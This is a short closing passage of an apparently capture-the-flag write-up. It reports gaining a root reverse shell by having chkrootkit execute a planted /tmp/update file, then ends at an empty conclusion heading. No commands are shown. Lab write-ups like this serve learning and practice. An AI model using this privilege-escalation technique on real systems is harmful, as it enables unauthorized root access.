And after waiting a minute for chkrootkit to execute our infected /tmp/update file, we get a reverse shell as root ! and we've been able to print out the root flag.
|
|
|
|
## **Conclusion**
|
|
|
|
Here we can see the progress graph :
|
|
|
|
|
|
|